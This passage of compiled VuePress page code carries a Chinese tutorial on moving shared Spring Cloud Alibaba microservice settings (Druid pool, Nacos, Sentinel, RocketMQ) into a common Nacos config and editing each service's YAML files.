配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("timeBetweenEvictionRunsMillis")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3600000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置一个连接在池中最小生存的时间,单位是毫秒")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("minEvictableIdleTimeMillis")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3600000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("validationQuery")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" select 1 from dual\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("testWhileIdle")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("testOnBorrow")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("false")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("testOnReturn")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("false")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 打开PSCache,并且指定每个连接上PSCache的大小")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("poolPreparedStatements")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxPoolPreparedStatementPerConnectionSize")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxOpenPreparedStatements")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置监控统计拦截的filters,去掉后监控界面sql无法统计,'wall'用于防火墙")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("filters")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" stat\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("discovery")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("http")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("encoding")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("enabled")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("charset")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" UTF"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("force")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("mybatis-plus")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("global-config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("db-config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("id-type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" auto\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("field-strategy")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" not"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("empty\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("table-underline")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("db-type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" oracle\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("logic-delete-value")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("logic-not-delete-value")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("mapper-locations")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" classpath"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("/mapper/"),a("span",{pre:!0,attrs:{class:"token important"}},[s._v("*.xml")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("configuration")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("jdbc-type-for-null")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'null'")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br"),a("span",{staticClass:"line-number"},[s._v("30")]),a("br"),a("span",{staticClass:"line-number"},[s._v("31")]),a("br"),a("span",{staticClass:"line-number"},[s._v("32")]),a("br"),a("span",{staticClass:"line-number"},[s._v("33")]),a("br"),a("span",{staticClass:"line-number"},[s._v("34")]),a("br"),a("span",{staticClass:"line-number"},[s._v("35")]),a("br"),a("span",{staticClass:"line-number"},[s._v("36")]),a("br"),a("span",{staticClass:"line-number"},[s._v("37")]),a("br"),a("span",{staticClass:"line-number"},[s._v("38")]),a("br"),a("span",{staticClass:"line-number"},[s._v("39")]),a("br"),a("span",{staticClass:"line-number"},[s._v("40")]),a("br"),a("span",{staticClass:"line-number"},[s._v("41")]),a("br"),a("span",{staticClass:"line-number"},[s._v("42")]),a("br"),a("span",{staticClass:"line-number"},[s._v("43")]),a("br"),a("span",{staticClass:"line-number"},[s._v("44")]),a("br"),a("span",{staticClass:"line-number"},[s._v("45")]),a("br"),a("span",{staticClass:"line-number"},[s._v("46")]),a("br"),a("span",{staticClass:"line-number"},[s._v("47")]),a("br"),a("span",{staticClass:"line-number"},[s._v("48")]),a("br"),a("span",{staticClass:"line-number"},[s._v("49")]),a("br"),a("span",{staticClass:"line-number"},[s._v("50")]),a("br"),a("span",{staticClass:"line-number"},[s._v("51")]),a("br"),a("span",{staticClass:"line-number"},[s._v("52")]),a("br"),a("span",{staticClass:"line-number"},[s._v("53")]),a("br")])]),a("p",[s._v("具体配置如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-028","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-028.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布,接下来就是在Nacos中修改各个微服务的配置,将各个微服务的配置中公共的配置删除。")]),s._v(" "),a("p",[s._v("(2)在Nacos中修改server-user.yaml的配置,修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8060")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("servlet")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("context-path")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" /user\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("user\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name-server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br")])]),a("p",[s._v("具体如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-029","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-029.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(3)在Nacos中修改server-product-dev.yaml的配置,修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8070")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("servlet")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("context-path")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" /product\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("product\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("具体如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-030","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-030.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(4)在Nacos中修改server-order-dev.yaml的配置,修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8080")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("tomcat")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("max-threads")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("servlet")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("context-path")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" /order\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("order\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("sentinel")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("transport")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9999")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("dashboard")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8888")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("web-context-unify")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("false")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("feign")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("sentinel")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("enabled")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name-server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("producer")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("group\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br")])]),a("p",[s._v("具体如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-031","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-031.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(5)修改用户微服务shop-user中的bootstrap.yml文件,修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("user\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" user_group\n shared"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("configs"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("data_id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("all.yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" all_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("refresh")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br")])]),a("p",[s._v("(6)修改商品微服务shop-product中的bootstrap.yml文件,修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("product\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" product_group\n shared"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("configs"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),a("span",{pre:!0,attrs:{class:"token 